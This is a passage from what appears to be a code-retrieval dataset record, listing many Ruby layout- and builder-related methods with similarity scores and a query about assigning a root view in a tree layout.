TempletLayout.find(:first, \n :conditions => ['templet_id = ? AND name = ?', self.bulletin.templet_id, self.name ])\n if !@layout and self.name == 'print'\n # set to main, if print layout not found\n self.name = 'main'\n elsif not @layout\n raise \"Invalid layout selected!\" if (! @layout) \n end\n end\n \n \n # copy the details accross for the layout\n self.filetype = @layout.filetype\n self.charset = @layout.charset\n \n return @layout\n end", "def layout; end", "def build\n deferred_defaults\n validate\n Builder.new(self).build\n end", "def incorporate\r\n Builder.new(self)\r\n end", "def _init_layout\n # when user gives a negative value, we recalc and overwrite so the need to save, for a redraw.\n @saved_width ||= @width\n @saved_height ||= @height\n\n lines = Ncurses.LINES - 1\n columns = Ncurses.COLS - 1\n if @height_pc\n @height = ((lines - @top_margin - @bottom_margin) * @height_pc).floor\n elsif @saved_height <= 0\n @height = lines - @saved_height - @top_margin - @bottom_margin\n end\n $log.debug \" layout height = #{@height} \"\n if @width_pc\n @width = ((columns - @left_margin - @right_margin) * width_pc).floor\n elsif @saved_width <= 0\n # if width was -1 we have overwritten it so now we cannot recalc it. it remains the same\n @width = columns - @saved_width - @left_margin - @right_margin\n end\n $log.debug \" layout wid = #{@width} \"\n # if user has not specified, then get all the objects\n @components ||= @form.widgets.select do |w| w.visible != false && !@ignore_list.include?(w.class.to_s.downcase); end\n $log.debug \" components #{@components.count} \"\n end", "def layout \n return @layout\n end", "def wrap_in_layout #:nodoc:\n if @options[:layout]\n ERB.new(@options[:layout]).result(binding)\n else\n yield\n end\n end", "def layout(name=:layout, &block)\n return super(name, &block) if block_given?\n @_layout = name\n end", "def _layout(*_arg0); end", "def layout\n nil\n end", "def builder\n @builder ||= Builder::XmlMarkup.new(:indent => 2)\n end", "def build\n yield self\n self\n end", "def render_layout(output, layout, info); end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def layout(value = nil)\n if value\n @layout = value\n else\n @layout\n end\n end", "def layout=(_arg0); end", "def layout(method = nil)\n @layout = method || @layout\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def build(*args)\n # create the container they ask for with these args\n @container = @container_class.new *args\n # tack on the layout they wanted\n @container.layout = layout if layout\n\n # go through all the children, add them on and tack on the callbacks\n @children.each {|child|\n if @contents[child]\n # if this component answers the each call then go through all\n component = @contents[child]\n each_or_one(component) {|c| @container.add(c) }\n\n configure_interactions_for child, component\n end\n }\n\n # yield to the caller so that they can configure more before\n # we make it visible and pack it\n yield @container if block_given?\n\n # even though swing doesn't do this, we do\n @container.pack if @container.respond_to? :pack\n @container.visible = true if @container.respond_to? :visible\n\n # and now they can do whatever they want to the container\n @container\n end", "def xml_builder\n return Builder::XmlMarkup.new(:indent=>2, :margin=>4)\n end", "def layout\n self.class.layout || @app.layout\n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def on_load\n layout (self.view, :root) do\n\n @title = subview(UILabel, :title)\n @username = subview(UITextField, :username, delegate: self)\n @password = subview(UITextField, :password, delegate: self)\n @login_button = subview(UIButton.custom, :login_button)\n @register_button = subview(UIButton.custom, :register_button)\n\n #auto do\n # metrics 'margin' => 20\n # #metrics '2margin' => 20\n #\n # vertical \"|-50-[title]-75-[username]-margin-[password(==80)]-margin-[login_button(==30)]->=20-[register_button(==40)]-margin-|\"\n # horizontal \"|-[title]-|\"\n # horizontal \"|-margin-[username]-margin-|\"\n # horizontal \"|[password]-margin-|\"\n # horizontal \"|-margin-[login_button]-margin-|\"\n # horizontal \"|-margin-[register_button]-margin-|\"\n #end\n end", "def layout\n nil\n end", "def build\n # Create the offsets, if they are not provided\n current_offset = 0\n fields.each do |field_def|\n field_def[2] ||= current_offset\n current_offset = field_def[2] + field_def[1].size\n end\n registry.do_create_compound(name, fields, size)\n end", "def render(opts = {}, locs = {}, &block)\n unless opts.key?(:layout)\n\n opts[:layout] = metadata[:options][:layout]\n opts[:layout] = blog_options.layout if opts[:layout].nil? || opts[:layout] == :_auto_layout\n\n # Convert to a string unless it's a boolean\n opts[:layout] = opts[:layout].to_s if opts[:layout].is_a? Symbol\n\n end\n\n content = super(opts, locs, &block)\n\n content.sub!(blog_options.summary_separator, '') unless opts[:keep_separator]\n\n content\n end", "def layout\n properties[:layout]\n end", "def layout layout = nil, *actions\n if (layout || layout == false) && configurable?\n @layouts ||= Hash.new\n layout = layout.to_s unless layout == false\n if actions.size == 0\n actions = ['*']\n @master_layout = layout\n end\n actions.each { |a| @layouts[a] = layout }\n end\n @setup[:layouts] ||= @layouts ||\n (@controller.ctrl.slice.view.layout if @controller) || {}\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def set_layout\n @layoutme = 1\n end", "def layouts; end", "def layouts; end", "def build( special_contexts=[] )\r\n\r\n self.ehtmls, self.ecss, self.ejs = self.theme.original_page_layout_root.build_content(special_contexts)\r\n self.ehtml = self.ehtmls.first\r\n\r\n end", "def layout(layout_width)\n idx, str = 0, ''\n\n #layout_width = 4\n layout_length = object.length - (layout_remainder = object.length % layout_width)\n\n while idx < layout_length - 1 do\n generate_division(layout_width).each do | val |\n # [5, 5].each do | val |\n str += h.render partial: \"layouts/layout_#{val}\", locals: { posts: object.slice(idx, val)}\n idx += val\n end\n end\n\n if layout_remainder > 0\n str += h.render partial: \"layouts/layout_#{layout_remainder}\", locals: { posts: object.slice(idx, layout_remainder)}\n end\n\n str.html_safe\n end", "def layout_for(klass)\n memoized_klass = memoize(klass)\n memoized_klass && memoized_klass.new\n end", "def build_report_area\n Qt::HBoxLayout.new do |box|\n add_layout(box)\n @report = Qt::TextEdit.new\n box.add_widget(@report)\n @report.append(\"<b>Mode #{@mode ? 'réel' : 'simulé'}</b>\")\n end\n end", "def layout(model)\n #Rfm.layout(model.storage_name, options.symbolize_keys) #query.repository.adapter.options.symbolize_keys)\n model.layout\n end", "def layout_children\n \n end", "def build_console_layout(x, width, height, pane_ids)\n console_layouts = distribute_vertically(x, width, height, pane_ids)\n Layout.new(\"#{width}x#{height}\", x, 0,\n VerticalNesting.new(console_layouts))\nend", "def do_layout(payload, layouts)\n end", "def wrap_layout(layout_name, &block)\n # Save current buffer for later\n buf_was = save_buffer\n\n # Find a layout for this file\n layout_file = ::Middleman::TemplateRenderer.locate_layout(@app, layout_name, current_engine)\n\n # Get the layout engine\n extension = File.extname(layout_file[:relative_path])\n engine = extension[1..-1].to_sym\n\n # Store last engine for later (could be inside nested renders)\n self.current_engine = engine\n engine_was = current_engine\n\n # By default, no content is captured\n content = ''\n\n # Attempt to capture HTML from block\n begin\n content = capture_html(&block) if block_given?\n ensure\n # Reset stored buffer, regardless of success\n restore_buffer(buf_was)\n end\n\n # Render the layout, with the contents of the block inside.\n concat_safe_content render_file(layout_file, @locs, @opts) { content }\n ensure\n # Reset engine back to template's value, regardless of success\n self.current_engine = engine_was\n end", "def build\r\n builder = Builder::XmlMarkup.new\r\n builder.instruct!(:xml, encoding: 'UTF-8')\r\n builder.tag! :env, :Envelope, namespaces do |env|\r\n env.tag!(:env, :Header) do |env_header|\r\n create_header(env_header)\r\n end\r\n env.tag!(:env, :Body) do |env_body|\r\n create_body(env_body)\r\n end\r\n end\r\n end", "def call\n compiled_query = compile_query\n wrap_data(compiled_query ? layout.find(*compiled_query) : layout.all(DEFAULT_REQUEST_OPTIONS))\n end", "def reapply!\n root ||= self.view\n @layout_state = :reapply\n run_reapply_blocks\n\n @child_layouts.each do |child_layout|\n child_layout.reapply!\n end\n\n @layout_state = :initial\n\n return self\n end", "def new\n ruhoh = @ruhoh\n name = @args[2]\n Ruhoh::Friend.say { \n red \"Please specify a layout name.\" \n cyan \"ex: ruhoh layouts new splash\"\n exit\n } if name.nil?\n\n filename = File.join((@ruhoh.cascade.theme || @ruhoh.cascade.base), \"layouts\", name.gsub(/\\s/, '-').downcase) + \".html\"\n\n if File.exist?(filename)\n abort(\"Create new layout: aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n\n FileUtils.mkdir_p File.dirname(filename)\n\n File.open(filename, 'w:UTF-8') do |page|\n page.puts (@collection.scaffold || '')\n end\n\n Ruhoh::Friend.say {\n green \"New layout:\"\n plain ruhoh.relative_path(filename)\n }\n end", "def build opts = nil, &blk\n builder.build opts, &blk\n end", "def builder\n @builder ||= Builder.new(self)\n end", "def middleman_layout(name, opts = {}, &block)\n locs = opts.delete(:locals) || {}\n opts[:layout] ||= name\n\n res = self.class.app_resource\n res.render(opts, res.locals.merge(locs), &block)\n end", "def generate_layout\n if options.sass?\n directory 'app'\n gem 'compass', '>=0.10.5'\n gem 'compass-960-plugin', '>=0.10.0'\n directory 'config'\n else\n copy_file \"stylesheet.css\", \"public/stylesheets/#{file_name}.css\" if options.stylesheet?\n copy_file \"handheld.css\", \"public/stylesheets/handheld.css\" if options.stylesheet?\n end\n copy_file \"modernizr-1.5.min.js\", \"public/javascripts/modernizr-1.5.min.js\"\n copy_file \"jquery-1.4.2.min.js\", \"public/javascripts/jquery-1.4.2.min.js\"\n copy_file \"dd_belatedpng.js\", \"public/javascripts/dd_belatedpng.js\"\n\n template \"layout.html.erb\", \"app/views/layouts/#{file_name}.html.erb\"\n copy_file 'layout_helper.rb', 'app/helpers/layout_helper.rb'\n end", "def to_html\n @binding = get_binding #use the same binding throughout\n do_include(@layout)\n end", "def layout\n html do\n head do\n title 'TrackTime'\n end\n body do\n h1 \"welcome to tracktime\"\n div.content do\n self << yield\n end\n end\n end\n end", "def build_multiple_editor_layout(width, height, pane_ids)\n editor_height = height / 2\n top_editor_pane_ids = pane_ids[0, pane_ids.count/2]\n bottom_editor_pane_ids = pane_ids[pane_ids.count/2..-1]\n top_editor_layouts = distribute_horizontally(0, width, editor_height, top_editor_pane_ids)\n bottom_editor_layouts = distribute_horizontally(editor_height+1, width, height-editor_height-1, bottom_editor_pane_ids)\n\n top_layout = top_editor_layouts.count == 1 ? top_editor_layouts.first : Layout.new(\"#{width}x#{editor_height}\", 0, 0, HorizontalNesting.new(top_editor_layouts))\n bottom_layout = bottom_editor_layouts.count == 1 ? bottom_editor_layouts.first : Layout.new(\"#{width}x#{height-editor_height-1}\", 0, editor_height+1, HorizontalNesting.new(bottom_editor_layouts))\n\n Layout.new(\"#{width}x#{height}\", 0, 0, VerticalNesting.new([ top_layout, bottom_layout ]))\nend", "def to_html\n build\n end", "def generate_layout(width, text)\n layout = ::Swt::TextLayout.new Shoes.display\n layout.setText text\n layout.setSpacing(@opts[:leading] || DEFAULT_SPACING)\n font = ::Swt::Font.new Shoes.display, @dsl.font, @dsl.font_size,\n ::Swt::SWT::NORMAL\n style = ::Swt::TextStyle.new font, nil, nil\n layout.setStyle style, 0, text.length - 1\n shrink_layout_to(layout, width) unless layout_fits_in?(layout, width)\n\n font.dispose\n\n layout\n end", "def build(attrs = {})\n @parent.new(@query_attrs.merge(attrs))\n end", "def build_editor_layout(width, height, pane_ids)\n if pane_ids.count == 1\n build_single_editor_layout(width, height, pane_ids.first)\n else\n build_multiple_editor_layout(width, height, pane_ids)\n end\nend", "def build\n end", "def build(attributes = {})\n attrs = self.schema\n self.new(attrs)\n end", "def reset_layout layout\n @layout = layout # 2010-02-13 22:23 \n @height = layout[:height]\n @width = layout[:width]\n @top = layout[:top]\n @left = layout[:left]\n end", "def build(schema: nil, context: nil, resource: nil, id: nil, from: Base)\n Builder.new.call(schema: schema, context: context, resource: resource, id: id, superclass: from)\n end", "def render_layout(layout, **kwargs, &block)\n render html: capture(&block), layout: \"layouts/#{layout}\", **kwargs\n end", "def layout_config\n @squeezed_layout_config\n end", "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "def layout(name)\n $stderr.puts \"Overwriting Layout: #{self.class.def_layout.inspect} with #{name}\"\n @_layout = name\n end", "def _write_layout_method\n case @_layout\n when String\n self.class_eval %{def _layout() #{@_layout.inspect} end}\n when Symbol\n self.class_eval %{def _layout() #{@_layout} end}\n when false\n self.class_eval %{def _layout() end}\n else\n self.class_eval %{\n def _layout\n if view_paths.find_by_parts?(\"#{_implied_layout_name}\", {:formats => formats}, \"layouts\")\n \"#{_implied_layout_name}\"\n else\n super\n end\n end\n }\n end\n end", "def content_with_layout( layout_options )\r\n render = Render::Base.new\r\n render.mail_content_with_layout( self, layout_options )\r\n end", "def new\n @layout = Layout.find(params[:layout_id])\n @layout_field = @layout.layout_fields.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @layout_field }\n end\n end", "def layout(sugar)\n # otherwise use standard layout for non moved residues?\n remove_layout(sugar)\n do_initial_layout(sugar)\n setup_scaling(sugar)\n seen_residues = do_chain_layout(sugar)\n seen_residues += do_stubs(sugar,seen_residues)\n do_basic_layout(sugar,seen_residues)\n do_box_layout(sugar)\n do_sibling_bunching(sugar)\n do_center_boxes_more(sugar)\n do_sibling_bunching(sugar)\n do_multi_residue_widening(sugar)\n class << sugar\n alias_method :uncondensed_box, :box\n def box\n box_block = lambda { |r|\n ! r.is_stub?\n }\n return uncondensed_box(&box_block)\n end\n end\n \n end", "def layout(name=:layout, &b)\n template(name, &b)\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js', :site\n title content.title\n\n }\n body {\n page { \n banner { img( :src => paths(:image).get( 'banner.png' ) ) }\n main { yield }\n sidebar {\n block {\n welcome = model(:story).find(:sidebar)\n p { textile( welcome.content ) }\n }\n }\n }\n }\n }\n end", "def _render_layout_for( res )\n return unless res.layout\n lyt = Resources.layouts.find :filename => res.layout\n return if lyt.nil?\n\n _track_rendering(lyt.path) {\n @content = Filters.process(\n self, lyt, ::Webby::Resources::File.read(lyt.path))\n _render_layout_for(lyt)\n }\n end", "def build\n builder_values = builder.build\n self.use_values(builder_values)\n end", "def build(sql)\n Builder.new(self, sql)\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def html_contents\n layout_contents\n end", "def build_markup\n Object.const_get(output_class).new\n end", "def place_in_layout?; end", "def place_in_layout?; end", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet,\n 'syntaxhighlighter_2/styles/shCore',\n 'syntaxhighlighter_2/styles/shThemeDefault'\n\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js',\n 'syntaxhighlighter_2/scripts/shCore',\n 'syntaxhighlighter_2/scripts/shBrushRuby',\n :site\n\n title content.title\n\n }\n body {\n sidebar {\n img( :src => paths(:image).get( 'banner.png' ) )\n block {\n welcome = model(:story).find(:sidebar)\n h4 welcome.title\n p { textile( welcome.content ) }\n }\n }\n page { yield }\n }\n }\n end" ]
[ "0.69526476", "0.660945", "0.6481694", "0.64088756", "0.6383713", "0.6274258", "0.60869324", "0.60573065", "0.6044166", "0.60239685", "0.59837157", "0.59619546", "0.5908237", "0.5904881", "0.588625", "0.5877895", "0.5850595", "0.574518", "0.57274187", "0.5700992", "0.5671084", "0.5656502", "0.56457937", "0.5642436", "0.5632133", "0.5622037", "0.5609722", "0.5600438", "0.5583064", "0.5549292", "0.55271554", "0.55271554", "0.5517467", "0.549346", "0.5485194", "0.5478185", "0.5473761", "0.54608184", "0.54418844", "0.54306054", "0.54032004", "0.5400741", "0.5390284", "0.53749657", "0.53575784", "0.5357072", "0.52827066", "0.5274017", "0.5273202", "0.526766", "0.526766", "0.5243053", "0.5228113", "0.5204496", "0.5193853", "0.51818293", "0.5179299", "0.51676846", "0.5158185", "0.5151609", "0.51224333", "0.5121921", "0.5115974", "0.5109019", "0.51056015", "0.5102496", "0.5092802", "0.50751764", "0.5068458", "0.506703", "0.5066221", "0.5058429", "0.50558066", "0.50535005", "0.505313", "0.50422555", "0.50413126", "0.5039542", "0.5037776", "0.5031312", "0.50284386", "0.5024691", "0.5024691", "0.5020162", "0.50197816", "0.5015743", "0.5001453", "0.4990241", "0.49879718", "0.498664", "0.49860683", "0.49786484", "0.49758336", "0.49742875", "0.4966294", "0.49515358", "0.49442694", "0.49442694", "0.49430585", "0.49397424" ]
0.5627197
25
Checks if the layout has been built yet or not.
def built? !@view.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def place_in_layout?\n !(asset_file? || yaml_file? || no_layout?)\n end", "def layout_available?\n if !@_layout_available\n @_layout_available = @site.layouts.include? @layout\n end\n @_layout_available\n end", "def place_in_layout?\n !(asset_file? || no_layout?)\n end", "def built?\n @built = false if @built.nil?\n @built\n end", "def building?\n !build_stack.empty?\n end", "def needs_rebuild?\n (@items.size > 1) && (@version != @built_at_version)\n end", "def invalid_layout?(layout); end", "def invalid_layout?(layout); end", "def valid?\n return false if @layout_type.nil?\n return false if !@tags.nil? && @tags.length > 5\n return false if @title.nil?\n return false if @widgets.nil?\n true\n end", "def validate_layout(layout); end", "def layout_available?(layout)\n !layout[\"hide\"] && !already_taken?(layout) && available_on_site?(layout)\n end", "def no_layout?\n data[\"layout\"] == \"none\"\n end", "def dom_loaded?\n !@dom_loaded.empty?\n end", "def action_has_layout?; end", "def built?\n Namespace.root.executed_blueprints.include?(self)\n end", "def _conditional_layout?; end", "def invalid_layout?(layout)\n !document.data[\"layout\"].nil? && layout.nil? && !(document.is_a? Jekyll::Excerpt)\n end", "def allow_layout?\n true\n end", "def page_with_layout_existing?(layout)\n Alchemy::Page.where(page_layout: layout, language_id: @language_id).pluck(:id).any?\n end", "def invalid_layout?(layout)\n !data[\"layout\"].nil? && layout.nil? && !(is_a? Jekyll::Excerpt)\n end", "def place_in_layout?; end", "def place_in_layout?; end", "def refresh_view?\n visible? && (ox >= bordered_width || oy >= bordered_height)\n end", "def sidebar_required?\n @menu_elements = []\n if @page.parent_id.present?\n @menu_elements = @page.parent.children.reject{|c| !c.in_menu?}\n end\n unless @page.children.blank?\n @menu_elements = @page.children.reject{|c| !c.in_menu?}\n end\n return !@menu_elements.empty?\n end", "def doc_ready?\n @doc_ready\n end", "def no_layout?; end", "def already_taken?(layout)\n layout[\"unique\"] && page_with_layout_existing?(layout[\"name\"])\n end", "def ready_to_generate?\n !disabled && table_or_view_ready?\n end", "def is_modified?\n !self.default_layout.nil? || !self.presenter_share_only.nil? || !self.auto_start_audio.nil? ||\n !self.auto_start_video.nil?\n end", "def construction_in_progress?\n !!@node[\"building_construction\"]\n end", "def is_well_formed?\n\t\t\treturn self.node_stack.length == 1\n\t\tend", "def valid?\n return false if @start_page_number.nil?\n return false if @count_pages_to_render.nil?\n return false if @render_comments.nil?\n return false if @render_notes.nil?\n return false if @render_hidden_pages.nil?\n return false if @external_resources.nil?\n return false if @is_responsive.nil?\n return false if @minify.nil?\n return false if @exclude_fonts.nil?\n return false if @for_printing.nil?\n return false if @image_height.nil?\n return false if @image_width.nil?\n return false if @image_max_height.nil?\n return false if @image_max_width.nil?\n return false if @render_to_single_page.nil?\n return true\n end", "def needed?\n topology.packages.length > 1\n end", "def render_empty?\n XML_RENDER_EMPTY\n end", "def exist?\n !render_lines.nil?\n end", "def useless?\n content.nil? and children.empty?\n end", "def cache_filled?\n !!@cache[:header] && !!@cache[:footer]\n end", "def validate_layout(layout)\n return unless invalid_layout?(layout)\n\n Jekyll.logger.warn \"Build Warning:\", \"Layout '#{document.data[\"layout\"]}' requested \" \\\n \"in #{document.relative_path} does not exist.\"\n end", "def placed?\n !current_placement.nil?\n end", "def ready_to_create?\n valid? && processed? && import_level_ok?\n end", "def has_sidebar?\n content_for?(:layout_sidebar)\n end", "def outdated?\n\t\t\t# Existing directories are never outdated\n\t\t\t!built?\n\t\tend", "def has_views?\n !@views.empty?\n end", "def has_views?\n !@views.empty?\n end", "def _ready?\n true\n end", "def initialized?\n end", "def initialized?\n raise RuntimeError, \"You probably forgot to call #content or give the :from option when instantiating the object.\" if @content.nil?\n @content.initialized?\n end", "def finalized?\n @layers.none?\n end", "def available_on_site?(layout)\n return false unless Alchemy::Site.current\n\n Alchemy::Site.current.definition.blank? ||\n Alchemy::Site.current.definition.fetch(\"page_layouts\", []).include?(layout[\"name\"])\n end", "def is_empty\n @root == nil\n end", "def valid?\n return false unless @_valid\n view.components.each do |comp|\n return false unless comp.valid?\n end\n true\n end", "def valid?\n @elements.size > 0\n end", "def loading?\n !load_stack.empty?\n end", "def empty?\n @fragments.empty?\n end", "def sections_exist?\n @top_level.items.present?\n end", "def already_built_response?\n @already_built_response\n end", "def visualizer_set?\n !@visualizer.nil?\n end", "def design_data_filled_in?\n !self.description.blank? && \n !self.platform.blank? && \n !self.product_type.blank? && \n !self.project.blank? &&\n !self.design_directory.blank? &&\n !self.incoming_directory.blank?\n end", "def has_dependencies?\n update_for.length > 0 or requires.length > 0\n end", "def design_changed?\n modified?(\"design/style.sass\") || modified?(\"design/script.js\")\n end", "def needs_redraw?\n\t\tif @has_changed\n\t\t\t@has_changed = false\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend", "def populated?\n !!@populated\n end", "def rendered?\n !!@render_opts\n end", "def content_loaded?\n @content.to_bool\n end", "def placed?\n # check if we currently have everything we need for our current_position\n return !@current_position[:x].nil? && !@current_position[:y].nil? && !@current_position[:direction].nil?\n end", "def ready?\n return _ready?\n rescue\n return false\n end", "def materialized?\n false\n end", "def loaded?\n !@all.nil?\n end", "def empty?\n @structure.empty?\n end", "def empty?\n @errors.empty? && @children.all?(&:empty?)\n end", "def needs_positioning?\n false\n end", "def default_layout?\n layout_type == \"default\"\n end", "def postload\n if @current_layout && @current_layout.length > 0\n @content_for_layout = @body\n @body = \"\"\n render_rhtml(@current_layout)\n end\n end", "def schema_loaded?\n @schema_loaded\n end", "def needs_redraw?\n @needs_redraw\n end", "def ready?\n File.exist?(desktop_path) && \n File.directory?(libs_path)\n end", "def fully_expanded?\n @unexpanded.empty? && (\n self.is_root? || parent.fully_expanded?\n )\n end", "def has_sidebar_content?\n publications.any? || external_resources.any? || authors.corresponding.any?\n end", "def dep_defined?\n @dep_defined\n end", "def form_needed?\n # Not really needed due to outer logic but we do this anyway\n return false if @assignment.nil?\n\n # New records need a form\n return true if @assignment.new_record? && @assignment.rotation_type.nil?\n\n # auto-skips need a form\n if @assignment.rotation_type.auto_skip?\n # only one auto-skip form per member\n unless @first_row_with_form\n @first_row_with_form = [@row_index - QM_FULL_ROWS_SHOWN, 0].max \n logger.debug \"Here!!! #{[@first_row_with_form .. -1]}\"\n end\n return true\n end\n return false\n end", "def empty?\n @root.nil?\n end", "def empty?\n @root.nil?\n end", "def empty?\n root.nil?\n end", "def build_dirty?\n if build?\n build.any? { |seg| seg.is_a?( String ) && seg.include?( 'dirty' ) }\n end\n end", "def valid_context?\n #Rails.logger.debug \"valid=#{menu.current_context}, self.template_tag.current_piece=#{self.template_tag.current_piece.title}\"\n ret = theme.valid_context?(template_tag.current_piece.page_layout, menu)\n #(self.template_tag.current_piece.context? menu.current_context) \n end", "def run_build?\n ENV['BUILD_ASSETS'].to_s == 'true' ||\n build_files.blank? ||\n src_files.select { |f| File.mtime(f) >= File.mtime(cache_file) }.any?\n end", "def loaded?\n true\n end", "def template_changed?\n modified?(\"design/template.slim\") || modified?(\".clayoven/hidden\") ||\n modified?(\".clayoven/tz\") || modified?(\".clayoven/subtopics\")\n end", "def build?\n config[:mode] == :build\n end", "def render_empty?\n OBJ_RENDER_EMPTY\n end", "def content_for_with_empty_check?(name)\n if @view_flow.get(name) == DryViews::EMPTY_CONTENT\n #add a check for empty, and return :empty, so we can switch on it for empty content\n return :empty\n elsif content_for_without_empty_check?(name)\n return true\n else\n return false\n end\n end", "def _include_layout?(options)\n (options.keys & [:body, :text, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)\n end", "def loaded?\n @loaded ||= false\n end", "def dom_loaded?\n has_js = false\n nodes.reject(&:invisible?).each do |node|\n has_js = true if node.respond_to?(:dom_loaded?) && node.dom_loaded?\n end\n has_js\n end", "def check_listing\n unless @listing.context == :listing\n warn block: @listing, message: <<~LOG.strip\n #{LAYOUT_DESCRIPTION} but the first block was a #{@listing.context}.\n LOG\n return false\n end\n\n validate_listing_langauge\n end", "def has_waiting?\n raise NotImpelementedError\n end", "def valid?\n return false if @info.nil?\n return false if @schema_version.nil?\n true\n end", "def empty?\n return true if @html.nil?\n\n @html.empty?\n end", "def loaded?\n @loaded ||= false\n end", "def initialized?\n !@data.nil?\n end" ]
[ "0.6809192", "0.67895335", "0.6743891", "0.65651697", "0.65258586", "0.6502042", "0.6496876", "0.6496876", "0.6353048", "0.6342761", "0.6309128", "0.6240439", "0.61594933", "0.6091123", "0.6071223", "0.5975046", "0.5949774", "0.59473664", "0.589373", "0.5857565", "0.5817412", "0.5817412", "0.5812653", "0.5806768", "0.5806545", "0.5782411", "0.5779803", "0.57521874", "0.57381684", "0.5732525", "0.5731252", "0.57171524", "0.569151", "0.56839615", "0.5681242", "0.5657751", "0.5652373", "0.5639041", "0.56330305", "0.56199527", "0.56170064", "0.5616732", "0.56046677", "0.56046677", "0.5597776", "0.5576108", "0.557511", "0.55524164", "0.55393815", "0.5531079", "0.55268234", "0.55205685", "0.551952", "0.5516451", "0.550807", "0.54911196", "0.5480761", "0.5463329", "0.54513204", "0.5447959", "0.54434514", "0.54406625", "0.5432616", "0.5432068", "0.5430274", "0.5428127", "0.5422593", "0.5416876", "0.54114425", "0.54093987", "0.5408693", "0.5407559", "0.5404308", "0.5396331", "0.53953266", "0.53836834", "0.5383345", "0.53804815", "0.5369406", "0.53681225", "0.5367239", "0.53665584", "0.53635687", "0.53582734", "0.5355127", "0.5354781", "0.5349204", "0.53404367", "0.53366905", "0.5334769", "0.5330963", "0.53223705", "0.531999", "0.5317132", "0.5313157", "0.53086376", "0.53044665", "0.5302372", "0.5300507", "0.52855223" ]
0.734391
0
just in case Assign a view to act as the 'root' view for this layout. This method can only be called once, and must be called before `add` is called for the first time (otherwise `add` will create a default root view). This method must be called from inside `layout`, otherwise you should just use `create`. You can also call this method with just an element_id, and the default root view will be created.
def root(element, element_id=nil, &block) if @view raise ContextConflictError.new("Already created the root view") end unless @assign_root raise InvalidRootError.new("You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)") end @assign_root = false # this method can be called with just a symbol, to assign the root element_id if element.is_a?(Symbol) element_id = element # See note below about why we don't need to `apply(:default_root)` element = preset_root || default_root elsif preset_root && preset_root != element # You're trying to make two roots, one at initialization # and one in your layout itself. raise ContextConflictError.new("Already created the root view") end @view = initialize_element(element, element_id) if block if @context raise ContextConflictError.new("Already in a context") end end style_and_context(@view, element_id, &block) return @view end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize_element(elem, element_id)\n if elem.is_a?(Class) && elem < TreeLayout\n layout = elem.new\n elem = layout.view\n elsif elem.is_a?(Class)\n elem = elem.new\n elsif elem.is_a?(TreeLayout)\n layout = elem\n elem = elem.view\n end\n\n if layout\n if element_id\n name_element(layout, element_id)\n end\n @child_layouts << layout\n elsif element_id\n name_element(elem, element_id)\n end\n\n return elem\n end", "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def add_view\n super\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def initialize\n super(Network.generate_id(\"document_\"))\n @view = View.new\n @layout = Layout.new\n self.link(:default_view, @view)\n self.link(:default_layout, @layout)\n end", "def layout; end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def default_root\n # child WindowLayout classes can return *their* NSView subclass from self.nsview_class\n view_class = self.class.targets 